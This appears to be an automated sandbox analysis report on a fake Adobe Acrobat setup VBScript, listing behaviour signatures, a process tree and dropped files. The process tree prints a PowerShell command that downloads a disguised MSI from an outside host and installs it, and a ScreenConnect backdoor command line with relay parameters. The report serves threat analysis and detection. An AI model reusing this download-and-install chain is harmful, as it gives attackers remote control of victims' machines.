Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 04:25

General

  • Target
    Acrobat_Set-Up_7474.vbs
  • Size 3KB
  • Sample261022-e2bdwahy5v
  • SHA256 72f1a91566f9a644b5795e23caa003780a4869fa903607fbe705382c19c545af
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 14 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:5244
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.vbs" /elevated
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:5384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://blog.tranktechies.com/get.adobe.com_reader/AcrobatReaderClientSetup.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4504
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi"
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:2644
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 542293F7A3C774C5C83670D7630BDDA5 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2672
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240780187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1940
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2208
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1142845DF3DDD6964057733934BD6D21
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2940
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B8B8FE54879992C2EF779D9A38C61195 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3696
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5272
    • C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ec2amaz-ob3r3jk&p=8041&s=5181837f-dcec-4cfa-93cb-2fd9ba590610&k=BgIAAACkAABSU0ExAAgAAAEAAQB9jwl5l3ksW87nvli5I%2bkUFZlKb%2bd1Ikoi6xSgILP49a5qnCDDuF9kofgtqNhRiw1HJgXKgB%2ffUGipvBrs88OhOjVd%2fbQRL7shi4%2fBqt2Zt06Hcu7Iq3AL7W5QILAWZVkX%2fe64%2fzeOpy1g9oRUxHecth5x%2fAyiX9pAw4O7Ndb9cb4ShnYok5QwfRms1CcVSNhtkNC5ggcyvOBl3ITm1ArPn7WPYnizGmnUng%2bUvQ%2byxLCkRh2eXs%2fCBvklzJRaIGInAKiRGJhUY4J2yLiVETuEjeIzQdzzGtXoCthdbjYYwVbDgKQqhNlGG5v7LyvJQGZ5CNhr3JDcldOasC2zVcCo"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe" "RunRole" "67f16e4a-0ae8-4427-9674-da44e79fb35e" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4900

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a448d.rbs

          • Path C:\Config.Msi\e5a448d.rbs
          • Size 214KB
          • SHA256 96c5c1f211e141f7535365a759844a10983925eb016fb524ed866148923a3408
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 7b884f42d506ae55f585f2979e44e7890d2badb3de358c9f4d92a0fd90c293ce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.dll
          • Size 76KB
          • SHA256 eaf68aeba864179a1445cac2ecfcaebc8cfd17da2d851fc66bf9eee8d3c59510
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4361320c86d7a3f1df5f8967971979a634cce33d2263fb0a9950cb7ef941d04c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Core.dll
          • Size 546KB
          • SHA256 960e17f82e6d0e1c2f7ab572716bb3fe67fae85bc73ea74bf40eac943c9b804d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 8e45790b306480aaff778b2e7b3a3681a9a2d12d15696ff41676dd6ddcd02306
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe
          • Size 587KB
          • SHA256 4c13a580ad03c35d4c923e2edcfa1b8dbacc45fa907b324b3360f7784f61dd9e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\system.config
          • Size 943B
          • SHA256 96d571935a5573bdde32955180dc17aa81d05104ce7d1eb9015db7edd72d455f
          • MD5 SHA1 SHA512 TLSH

          MSI2A1.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp
          • Size 1.0MB
          • SHA256 14db4af46b355d0ce899e20b27e32b9be070feed0c51061b0f073760db86c7f8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 5213b992d5ca858ccc97f081637ffe421e24f1d762f78c11abe57414550e9b95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 13b023a9580ec3ead19003d1c25233a6e17c60556ac94b998feba8dd533b2083
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2A1.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 1462efd9346bc3816c8bb7a50a741e9644ceaa68e5d4ca0dc86b997ccec62b8b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dual_installer.msi

          • Path C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi
          • Size 9.5MB
          • SHA256 db853ceb200e38219f712e3dc832be25ff4b1dfe46332fc06907a513a1ca3ca3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI499E.tmp

          • Path C:\Windows\Installer\MSI499E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 9aee245428096813867e7ef62dccdf810c713f6be5a96a97fe247fbb0b15ef44
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {d51684a0-f939-4cfc-bb69-e5dbae507f27}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d51684a0-f939-4cfc-bb69-e5dbae507f27}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 96d301cf63820a3f3897bb631361d3b2fb0550fd79707372db0f5dcfa78bc1e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1888-125-0x0000000004660000-0x00000000046F2000-memory.dmp

          memory/1888-120-0x0000000004250000-0x00000000042A0000-memory.dmp

          memory/1888-124-0x00000000042A0000-0x00000000042D6000-memory.dmp

          memory/1888-96-0x0000000001B90000-0x0000000001BA8000-memory.dmp

          memory/1888-127-0x0000000004400000-0x0000000004441000-memory.dmp

          memory/1888-129-0x0000000004850000-0x0000000004922000-memory.dmp

          memory/1888-106-0x00000000044B0000-0x000000000465A000-memory.dmp

          memory/1888-102-0x0000000001D50000-0x0000000001DDC000-memory.dmp

          memory/1940-49-0x00000000055F0000-0x000000000567C000-memory.dmp

          memory/1940-54-0x0000000005FA0000-0x000000000655A000-memory.dmp

          memory/1940-41-0x00000000054B0000-0x00000000054DE000-memory.dmp

          memory/1940-45-0x00000000054F0000-0x00000000054FA000-memory.dmp

          memory/1940-53-0x0000000005830000-0x00000000059DA000-memory.dmp

          memory/4504-7-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-2-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-9-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-14-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-8-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-12-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-10-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-21-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-18-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-0-0x00007FFD6AFFF000-0x00007FFD6B000000-memory.dmp

          memory/4504-11-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-6-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-5-0x000001ADE2FD0000-0x000001ADE2FF2000-memory.dmp

          memory/4504-13-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-1-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-16-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4504-17-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

          memory/4900-137-0x0000000002910000-0x000000000299C000-memory.dmp

          memory/4900-138-0x000000001B910000-0x000000001BABA000-memory.dmp

          memory/4900-139-0x000000001BC50000-0x000000001BDD8000-memory.dmp

          memory/4900-140-0x0000000002630000-0x0000000002648000-memory.dmp

          memory/4900-141-0x00000000026B0000-0x00000000026C8000-memory.dmp

          memory/4900-142-0x00000000026D0000-0x0000000002711000-memory.dmp

          memory/4900-135-0x0000000000580000-0x0000000000616000-memory.dmp

          memory/4900-136-0x0000000002670000-0x00000000026A6000-memory.dmp